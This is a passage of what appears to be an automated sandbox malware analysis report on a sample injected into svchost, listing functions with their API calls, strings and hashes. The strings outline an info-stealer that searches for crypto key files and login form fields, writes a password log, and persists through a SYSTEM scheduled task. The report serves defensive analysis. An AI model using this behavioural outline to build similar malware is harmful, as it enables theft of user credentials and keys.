                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4e548364062b0f436634eb005f3d9ab3a9b63fd7f9bed9bbe3806b458b05e1c2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7AF09661E942143BDB217B75AC8DFAF3BACDB41B05F00050AF904E63D0EB955C54CBA2
                                                                                                                                                                                                            Function 02D20320 Relevance: 86.1, APIs: 42, Strings: 7, Instructions: 347memorysleepstringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D20340
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c590484), ref: 02D20367
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D203A5
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D203AF
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D203B7
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D203C9
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D203D0
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02D2040C
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02D2041A
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c590484,?,?), ref: 02D20455
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D2048F
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D20499
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D204A1
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D204B0
                                                                                                                                                                                                              • Part of subcall function 02D28770: UnmapViewOfFile.KERNEL32(?,00000000,00000000,?,?,02D29408,00000000,00000000,74E1A250,?,02D138BD,00000000,00000000,00000000,00000000,?), ref: 02D28797
                                                                                                                                                                                                              • Part of subcall function 02D28770: GetHandleInformation.KERNEL32(?,?,00000000,00000000,?,?,02D29408,00000000,00000000,74E1A250,?,02D138BD,00000000,00000000,00000000,00000000), ref: 02D287B7
                                                                                                                                                                                                              • Part of subcall function 02D28770: CloseHandle.KERNEL32(?,?,?,02D29408,00000000,00000000,74E1A250,?,02D138BD,00000000,00000000,00000000,00000000), ref: 02D287C8
                                                                                                                                                                                                              • Part of subcall function 02D28770: GetHandleInformation.KERNEL32(?,?,00000000,00000000,?,?,02D29408,00000000,00000000,74E1A250,?,02D138BD,00000000,00000000,00000000,00000000), ref: 02D287E1
                                                                                                                                                                                                              • Part of subcall function 02D28770: CloseHandle.KERNEL32(?,?,?,02D29408,00000000,00000000,74E1A250,?,02D138BD,00000000,00000000,00000000,00000000), ref: 02D287F2
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D204B7
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02D204E5
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D20510
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D2055B
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,secret.key,00000104), ref: 02D20575
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D205B8
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,secret.key,00000104,?,secret.key,00000002), ref: 02D205D2
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8,?,?,02D4A56C,00000002), ref: 02D205F7
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D2063A
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,pubkeys.key,00000104), ref: 02D20654
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8,?,?,pubkeys.key,00000002), ref: 02D20679
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?), ref: 02D206B0
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D206B3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D206C0
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D206C3
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14},?), ref: 02D206D2
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D206E3
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D206EA
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32 ref: 02D206FE
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D20710
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,pubkeys.key,00000002), ref: 02D2073D
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D20740
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D2074D
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D20750
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,pubkeys.key,00000002), ref: 02D20759
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D2075C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D2076D
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D20770
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$HandleProcess$ErrorFileLastPathmemset$CloseCreateDirectoryFreeInformationSleepValidatelstrcpyn$AdminAttributesBackslashFolderMakeMutexSystemUser$CurrentDeleteReleaseUnmapView
                                                                                                                                                                                                            • String ID: 5c590484$Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}$keys.zip$path.txt$pubkeys.key$secret.key$\t
                                                                                                                                                                                                            • API String ID: 3271848171-3222107752
                                                                                                                                                                                                            • Opcode ID: adfacd146a6299418859e93d3f855c581ce9f437c6d82e15f808a339b03e3261
                                                                                                                                                                                                            • Instruction ID: 597966f1e9c1591e89958efca32f4dde53753176fa05213937a22750b3d201dc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: adfacd146a6299418859e93d3f855c581ce9f437c6d82e15f808a339b03e3261
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8CC11674944361AFD7209F64A898BAB7BE8EFA5309F448919F585C7380DB70DC1CCBA1
                                                                                                                                                                                                            Function 02D106A0 Relevance: 75.6, APIs: 40, Strings: 3, Instructions: 311memorynetworkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,?,?), ref: 02D106E1
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D106E4
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D106FE
                                                                                                                                                                                                            • InternetQueryOptionA.WININET(?,00000022,00000000,?), ref: 02D1071E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02D1073F
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D10742
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D10757
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02D1076D
                                                                                                                                                                                                            • InternetQueryOptionA.WININET(?,00000015,?,00000000), ref: 02D10789
                                                                                                                                                                                                            • InternetQueryOptionA.WININET(?,00000015,?,00000000), ref: 02D1079C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110), ref: 02D107AC
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D107AF
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D107CA
                                                                                                                                                                                                            • InternetQueryOptionA.WININET(?,00000029,00000000,00000104), ref: 02D107DD
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02D10829
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D1082C
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D10840
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D10850
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D1085E
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D108A0
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D108CC
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D108CF
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D108DC
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D108DF
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D108EB
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D108EE
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D108FB
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D108FE
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D10914
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D10917
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D10924
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D10927
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?), ref: 02D10946
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D1094F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D10958
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D1095B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D10967
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D1096A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02D10973
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D10976
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidatememset$AllocInternetOptionQuery$FileModuleName_snprintfmemcpy
                                                                                                                                                                                                            • String ID: UserAgent$[[[URL: %s%sProcess: %sUser-agent: %s]]]{{{%s$}}}
                                                                                                                                                                                                            • API String ID: 1808236364-2343086565
                                                                                                                                                                                                            • Opcode ID: 101443e14eaa690f37987dd3cb60a8167d31329a98f5829e7ca73bca028eae22
                                                                                                                                                                                                            • Instruction ID: 2454d5be1b97f959630bd8b78af6c5527c9b854336c879622d5ed65fa733f6f4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 101443e14eaa690f37987dd3cb60a8167d31329a98f5829e7ca73bca028eae22
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 84A1BE75A00209BBEB10EFA8AC49FAFBBB8EF95715F144545F904A7380DB709D51CBA0
                                                                                                                                                                                                            Function 02D1DAC0 Relevance: 68.4, APIs: 25, Strings: 14, Instructions: 184threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,self.cer,00000000,00000000,00000000,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DAFA
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\crypto\,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DB08
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000001,02D46228,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DB15
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\micros~\crypto\,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DB87
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\maxthon3\public\,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DB97
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\microsoft\crypto\,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DBA7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\crypto pro\,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DBB7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\progra~1\crypto~1\,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DBC7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\temporary internet files\,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DBD7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,:\users\public,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DBE7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,02D4A214,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DBF7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,02D46228,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DC03
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\cryptokit\,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DC13
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,:\progra~1\common~1\crypto~1,?,02D0107F,00000000,?,02D0148C,00000000,?), ref: 02D1DC1F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1C350,?,00000000,00000000), ref: 02D1DC42
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateThread
                                                                                                                                                                                                            • String ID: :\progra~1\common~1\crypto~1$:\users\public$\crypto pro\$\crypto\$\cryptokit\$\maxthon3\public\$\microsoft\crypto\$\micros~\crypto\$\private\$\progra~1\crypto~1\$\public\$\temporary internet files\$crypto$self.cer
                                                                                                                                                                                                            • API String ID: 2422867632-4225811205
                                                                                                                                                                                                            • Opcode ID: 7138a0195edc48cefef29a5791d6ffe199c66c2b3eb70b50b6be9b5c3560e1d8
                                                                                                                                                                                                            • Instruction ID: 16399ff67ce8728e8c214f3e671106133bce215b1506000b23fd3f58beb294bb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7138a0195edc48cefef29a5791d6ffe199c66c2b3eb70b50b6be9b5c3560e1d8
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2041C1B168132673B6211A357D89F6B1F9F8E589D87240912BC07E2708FFE4DC46C5B0
                                                                                                                                                                                                            Function 004033B0 Relevance: 66.9, APIs: 32, Strings: 6, Instructions: 368memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 004033FE
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040341E
                                                                                                                                                                                                            • memset.MSVCRT ref: 0040343E
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 00403446
                                                                                                                                                                                                            • GetVersionExA.KERNEL32 ref: 00403461
                                                                                                                                                                                                              • Part of subcall function 00403310: GetVersionExA.KERNEL32(?,\\?\globalroot\systemroot\system32\tasks\), ref: 00403337
                                                                                                                                                                                                              • Part of subcall function 00403310: GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00403359
                                                                                                                                                                                                              • Part of subcall function 00403310: OpenProcessToken.ADVAPI32(00000000), ref: 00403360
                                                                                                                                                                                                              • Part of subcall function 00403310: GetTokenInformation.ADVAPI32(00000000,00000012(TokenIntegrityLevel),?,00000004,?), ref: 00403381
                                                                                                                                                                                                              • Part of subcall function 00403310: CloseHandle.KERNEL32(00000000), ref: 00403397
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 004034A5
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 004034BE
                                                                                                                                                                                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 0040351B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 00403567
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,755CDB30,00000000), ref: 0040356E
                                                                                                                                                                                                            • memset.MSVCRT ref: 00403586
                                                                                                                                                                                                            • _snwprintf.MSVCRT ref: 004035A0
                                                                                                                                                                                                            • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 004035C3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004035DA
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004035EE
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> , xrefs: 004033C4
                                                                                                                                                                                                            • <Actions , xrefs: 0040365A
                                                                                                                                                                                                            • task%d, xrefs: 004034AC
                                                                                                                                                                                                            • \\?\globalroot\systemroot\system32\tasks\, xrefs: 004033E7
                                                                                                                                                                                                            • p=)u, xrefs: 0040379B
                                                                                                                                                                                                            • 00-->, xrefs: 0040368F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Filememset$Process$HeapTokenVersion_snwprintf$AdminAllocCloseCountCreateCurrentHandleInformationModuleNameOpenPointerSizeTickUser
                                                                                                                                                                                                            • String ID: <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> $00-->$<Actions $\\?\globalroot\systemroot\system32\tasks\$p=)u$task%d
                                                                                                                                                                                                            • API String ID: 1601901853-2209026672
                                                                                                                                                                                                            • Opcode ID: 3e75ff0d6558df4951f578cf3538052f2bff9976cb2e3b9c80236ffe9a2ee6c0
                                                                                                                                                                                                            • Instruction ID: 1b369b621c6b50f993c5cfef2b03b24b37f74764d04c33fe2e8d64a6d5fdefe9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3e75ff0d6558df4951f578cf3538052f2bff9976cb2e3b9c80236ffe9a2ee6c0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F8D1C3B1504301ABD720DF64CC49B5B7BE8EFC8715F048A29FA49A72D1E774EA04CB99
                                                                                                                                                                                                            Function 02D18A60 Relevance: 65.0, APIs: 28, Strings: 9, Instructions: 244memorystringthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,7591F570,?,?), ref: 02D18A83
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D18A8A
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D18A9E
                                                                                                                                                                                                            • IsBadReadPtr.KERNEL32(?,?), ref: 02D18ABB
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D18ACC
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D18ADD
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D18AF0
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59061E), ref: 02D18B1D
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,5C59061E), ref: 02D18B2B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59061E), ref: 02D18B36
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D18B98
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D18BAB
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5901AC), ref: 02D18BDD
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,5C5901AC), ref: 02D18BEB
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5901AC), ref: 02D18BF6
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D221E0,00000000,00000000,00000000), ref: 02D18C51
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D18C70
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D18C83
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D098), ref: 02D18CAF
                                                                                                                                                                                                            • PathAppendA.SHLWAPI(?,02D5D098), ref: 02D18CBD
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D098), ref: 02D18CC8
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D23910,00000000,00000000,00000000), ref: 02D18D23
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D18D3B
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D18D4C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D18D5B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D18D5E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D18D6B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D18D6E
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashHeapstrstr$AppendProcess$CreateHandleThread$AllocCloseFreeInformationReadValidatememcpymemset
                                                                                                                                                                                                            • String ID: &ctl00%24MainMenu%24Login1%24Password=$&ctl00%24MainMenu%24Login1%24UserName=$5C5901AC$5C59061E$login=$name_$pass.log$pass_$password=
                                                                                                                                                                                                            • API String ID: 3712039096-1457262009
                                                                                                                                                                                                            • Opcode ID: 328ab07ceb04116ff850e666208ea8c83180ec979791eaf5311fb2183619ff3d
                                                                                                                                                                                                            • Instruction ID: 72793a6cd89f1110c1d30623a53e57e6695c06a6d6b00c2e3e80149a11bc5cbb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 328ab07ceb04116ff850e666208ea8c83180ec979791eaf5311fb2183619ff3d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3681E334A40324ABEB21DB65BC94BDB3BE89F55704F148495FD89E7350DBA0AD08CBA1
                                                                                                                                                                                                            Function 02D07E40 Relevance: 61.4, APIs: 32, Strings: 3, Instructions: 182memorysleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D07A00: IsUserAnAdmin.SHELL32 ref: 02D07A0A
                                                                                                                                                                                                              • Part of subcall function 02D07A00: memset.MSVCRT ref: 02D07A41
                                                                                                                                                                                                              • Part of subcall function 02D07A00: memset.MSVCRT ref: 02D07A59
                                                                                                                                                                                                              • Part of subcall function 02D07A00: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,?,?,7591F380), ref: 02D07A7B
                                                                                                                                                                                                              • Part of subcall function 02D07A00: RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,?,00000104,?,?,?,?,7591F380), ref: 02D07AA1
                                                                                                                                                                                                              • Part of subcall function 02D07A00: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,7591F380), ref: 02D07B2D
                                                                                                                                                                                                              • Part of subcall function 02D07A00: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,7591F380), ref: 02D07B34
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}), ref: 02D07E85
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D07E92
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8449-4fe1-9A0D-95CD39DC2014}), ref: 02D07EA4
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D07EAD
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D07EC5
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D07ED7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,A3B7F9A2a,a3b7f923a), ref: 02D07EE2
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D07EE5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D07EF2
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D07EF5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,A3B7F9A2a,a3b7f923a), ref: 02D07F02
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D07F05
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D07F12
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D07F15
                                                                                                                                                                                                            • SetCaretBlinkTime.USER32(000000FF), ref: 02D07F27
                                                                                                                                                                                                            • Sleep.KERNEL32(000001F4), ref: 02D07F55
                                                                                                                                                                                                            • StrToIntA.SHLWAPI(00000000,A3B7F9A2a,a3b7f923a), ref: 02D07F85
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,A3B7F9A2a,a3b7f923a), ref: 02D07F95
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D07F98
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D07FA5
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D07FA8
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,A3B7F9A2a,a3b7f923a), ref: 02D07FB5
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D07FB8
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D07FC5
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D07FC8
                                                                                                                                                                                                            • Sleep.KERNEL32(00001388,A3B7F9A2a,a3b7f923a), ref: 02D07FD3
                                                                                                                                                                                                            • closesocket.WS2_32(?), ref: 02D08005
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,?), ref: 02D08025
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02D0803D
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D0804F
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D08072
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D0808C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
